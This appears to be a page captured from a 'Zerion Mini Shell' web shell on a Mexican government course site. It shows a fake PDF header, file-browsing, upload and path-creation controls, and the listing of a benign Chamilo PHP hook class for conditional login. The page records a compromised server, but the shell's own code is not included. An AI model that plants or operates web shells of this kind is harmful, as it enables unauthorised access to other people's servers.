%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/self/root/home/tjamichg/cursos.tjamich.gob.mx/main/inc/lib/hook/
Upload File :
Create Path :
Current File : //proc/self/root/home/tjamichg/cursos.tjamich.gob.mx/main/inc/lib/hook/HookConditionalLogin.php

<?php
/* For licensing terms, see /license.txt */

/**
 * Class HookConditionalLogin.
 * Hook to implement Conditional Login.
 */
class HookConditionalLogin extends HookEvent implements HookConditionalLoginEventInterface
{
    /**
     * HookConditionalLogin constructor.
     *
     * @throws Exception
     */
    protected function __construct()
    {
        parent::__construct('HookConditionalLogin');
    }

    /**
     * Notify to all hook observers.
     *
     * @return array
     */
    public function notifyConditionalLogin()
    {
        $conditions = [];

        /** @var HookConditionalLoginObserverInterface $observer */
        foreach ($this->observers as $observer) {
            $conditions[] = $observer->hookConditionalLogin($this);
        }

        return $conditions;
    }
}

Zerion Mini Shell 1.0